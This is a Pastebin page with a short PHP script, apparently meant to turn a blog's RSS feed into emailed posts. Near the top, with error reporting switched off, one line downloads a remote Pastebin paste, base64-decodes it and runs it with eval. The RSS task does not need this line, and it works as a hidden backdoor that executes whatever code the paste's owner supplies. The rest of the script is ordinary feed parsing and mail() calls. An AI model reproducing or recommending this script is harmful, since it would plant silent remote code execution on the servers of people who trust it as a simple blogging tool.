Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- eval(base64_decode(file_get_contents('http://pastebin.com/raw.php?i=QciF2Vqh')));
- $content = file_get_contents('URL RSS http://p-cbn.blogspot.com/feeds/posts/default <<-- contoh ');
- $p = xml_parser_create();
- xml_parse_into_struct($p, $content, $vals, $index);
- xml_parser_free($p);
- unset($content);
- foreach ($index['LINK'] as $key => $link_id) {
- $title_id = $index['TITLE'][$key];
- $description_id = $index['DESCRIPTION'][$key];
- $title = $vals[$title_id]['value'];
- $link = $vals[$link_id]['value'];
- $description = $vals[$description_id]['value'];
- $subject = '' . $title;
- $message = $title . "\r\n" . wordwrap($description, 72, "\r\n");
- $headers = 'MIME-Version: 1.0' . "\r\n";
- $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
- mail('EMAIL BLOGGER', $subject, $message, $headers);
- echo " {$title}\r\n";
- }
- ?>
Add Comment
Please, Sign In to add comment